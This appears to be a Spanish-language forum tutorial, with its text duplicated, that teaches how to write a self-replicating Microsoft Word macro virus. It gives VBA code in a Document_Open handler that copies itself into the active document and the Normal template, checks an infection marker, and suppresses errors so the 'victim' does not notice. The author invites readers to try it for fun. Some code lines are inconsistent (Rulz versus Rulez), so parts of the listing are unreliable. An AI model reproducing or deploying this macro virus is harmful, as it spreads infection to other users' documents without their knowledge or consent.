Bueno a continuacion se explicara como crear un virus (macro) en cualquier programa de la familia MSOffice. (Se explicara con MSWord)
Creacion de virus Macro.
By ¹ SlowEmotion ²
Primero que nada entramos al programa (en este tuto se utilizara Word) una ves adentro del programa nos dirijimos a el menu:
Herramientas --> Macro --> Editor de Visual Basic
Una ves adentro seguramente estaran acostumbrados al entorno VB.
Ahora fijen su vista en la seccion izquierda de la pantalla... Se observaran 2 proyectos:
Normal
Project (Documento1)
A continuacion se explicara la funcion principal de cada uno de ellos:
Normal:
Contiene toda la informacion que se carga cuando Word se inicia... Osea... nuestro objetivo es que el codigo se copie a si mismo (Virus) en el normal... para que de esta manera infecte tambien a los documentos proximos a abrirse.
Project (Documento1):
Contiene toda la infomacion que se carga cuando se abre el archivo que nosotros creamos. Aqui iria nuestro codigo original...
Buenisimo... hasta aca todo re bien.. pero ¿ahora que KaZiN?
Infeccion por Class Object o ThisDocument
Pues sencillo... abrimos el Project (Documento1) y abrimos el codigo de
ThisDocument
y luego programamos lo que se nos cante.
Los eventos son:
Sub AutoOpen() :
Cuando se abre un documento.
Funciona en Modulos
Sub AutoClose() :
Cuando se cierra un documento.
Funciona en Modulos
Sub Document_Open() :
Cuando se abre un documento.
Funciona en Class Object
Sub Document_Close() :
Cuando se cierra un documento.
Funciona en Class Object
Sub ViewVBCode() :
Cuando se carga el editor de Visual Basic.
Sub ToolsMacro() :
Cuando se carga la lista de macros.
Entonces, logico es que se utilizan AutoOpen(), AutoClose(), Document_Open() o Document_Close() para colocar el codigo, entonces, al cargarse un documento infectado este revisa si la plantilla normal esta infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo a esta, entonces queda el virus residente en la plantilla normal, por lo cual cada vez que se de uno de los eventos anteriormente mencionados esta copiara su codigo a todos los documentos que se abran ( Bien ahi )
Pero hoy solo trabajaremos con Document_Open() y Document_Close() ya que este tuto se limita a Class Object .
Bueno a continuacion haremos los siguiente:
Abrimos la planilla de nuestro documento... y le ponemos un codigo como este por ej :
bue... vamos a explicar que carajo fue lo que puse por si alguien no lo entendio =P.
'KaZiN
La primer linea del codigo tiene que tener lo que ustedes tengan ganas, esta sera la forma de saber si la pc ya esta infectada por nuestro virus o no. Entenderan mas adelante
On Error Resume Next
Simplemente para que en caso de que halla un error no se de cuenta nuestra victima
Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule
Colocamos a Slow igual al codigo del class object del documento activo.
Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule
Colocamos a Emotion igual al codigo del class object del Normal
Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule
Colocamos a Rulz igual al codigo del class object del proyecto activo.
Codigo = Rulez.Lines(1, Rulez.CountOfLines)
Colocamos Codigo como el codigo del proyecto activo (Osea nuestro code)
If (Slow.Lines(1, 1) <> "'KaZiN" Then
Slow.AddFromString Codigo
End If
If (Emotion.Lines(1, 1) <> "'KaZiN" Then
Emotion.AddFromString Codigo
End If
Nos fijamos si la primera linea del documento activo es igual a nuestra marca de infeccion, si no lo es importamos desde la variable "Codigo" anteriormente declarada. Luego hace lo mismo con la plantilla Normal.
Ok ok ahi tienen explicado el codigo... bueno ahora simplemente prueben y disfruten creando .
Espero que les halla gustado este manual! Si se copan me ponen unos puntos asi paso a ser usuario normal... y sino buena onda igual
Creacion de virus Macro.
By ¹ SlowEmotion ²
Primero que nada entramos al programa (en este tuto se utilizara Word) una ves adentro del programa nos dirijimos a el menu:
Herramientas --> Macro --> Editor de Visual Basic
Una ves adentro seguramente estaran acostumbrados al entorno VB.
Ahora fijen su vista en la seccion izquierda de la pantalla... Se observaran 2 proyectos:
Normal
Project (Documento1)
A continuacion se explicara la funcion principal de cada uno de ellos:
Normal:
Contiene toda la informacion que se carga cuando Word se inicia... Osea... nuestro objetivo es que el codigo se copie a si mismo (Virus) en el normal... para que de esta manera infecte tambien a los documentos proximos a abrirse.
Project (Documento1):
Contiene toda la infomacion que se carga cuando se abre el archivo que nosotros creamos. Aqui iria nuestro codigo original...
Buenisimo... hasta aca todo re bien.. pero ¿ahora que KaZiN?
Infeccion por Class Object o ThisDocument
Pues sencillo... abrimos el Project (Documento1) y abrimos el codigo de
ThisDocument
y luego programamos lo que se nos cante.
Los eventos son:
Sub AutoOpen() :
Cuando se abre un documento.
Funciona en Modulos
Sub AutoClose() :
Cuando se cierra un documento.
Funciona en Modulos
Sub Document_Open() :
Cuando se abre un documento.
Funciona en Class Object
Sub Document_Close() :
Cuando se cierra un documento.
Funciona en Class Object
Sub ViewVBCode() :
Cuando se carga el editor de Visual Basic.
Sub ToolsMacro() :
Cuando se carga la lista de macros.
Entonces, logico es que se utilizan AutoOpen(), AutoClose(), Document_Open() o Document_Close() para colocar el codigo, entonces, al cargarse un documento infectado este revisa si la plantilla normal esta infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo a esta, entonces queda el virus residente en la plantilla normal, por lo cual cada vez que se de uno de los eventos anteriormente mencionados esta copiara su codigo a todos los documentos que se abran ( Bien ahi )
Pero hoy solo trabajaremos con Document_Open() y Document_Close() ya que este tuto se limita a Class Object .
Bueno a continuacion haremos los siguiente:
Abrimos la planilla de nuestro documento... y le ponemos un codigo como este por ej :
'KaZiN
Private Sub Document_Open()
On Error Resume Next
Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule
Codigo = Rulz.Lines(1, Rulz.CountOfLines)
If (Slow.Lines(1, 1) <> "'KaZiN" Then
Slow.AddFromString Codigo
End If
If (Emotion.Lines(1, 1) <> "'KaZiN" Then
Emotion.AddFromString Codigo
End If
End Sub
bue... vamos a explicar que carajo fue lo que puse por si alguien no lo entendio =P.
'KaZiN
La primer linea del codigo tiene que tener lo que ustedes tengan ganas, esta sera la forma de saber si la pc ya esta infectada por nuestro virus o no. Entenderan mas adelante
On Error Resume Next
Simplemente para que en caso de que halla un error no se de cuenta nuestra victima
Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule
Colocamos a Slow igual al codigo del class object del documento activo.
Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule
Colocamos a Emotion igual al codigo del class object del Normal
Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule
Colocamos a Rulz igual al codigo del class object del proyecto activo.
Codigo = Rulez.Lines(1, Rulez.CountOfLines)
Colocamos Codigo como el codigo del proyecto activo (Osea nuestro code)
If (Slow.Lines(1, 1) <> "'KaZiN" Then
Slow.AddFromString Codigo
End If
If (Emotion.Lines(1, 1) <> "'KaZiN" Then
Emotion.AddFromString Codigo
End If
Nos fijamos si la primera linea del documento activo es igual a nuestra marca de infeccion, si no lo es importamos desde la variable "Codigo" anteriormente declarada. Luego hace lo mismo con la plantilla Normal.
Ok ok ahi tienen explicado el codigo... bueno ahora simplemente prueben y disfruten creando .
Espero que les halla gustado este manual! Si se copan me ponen unos puntos asi paso a ser usuario normal... y sino buena onda igual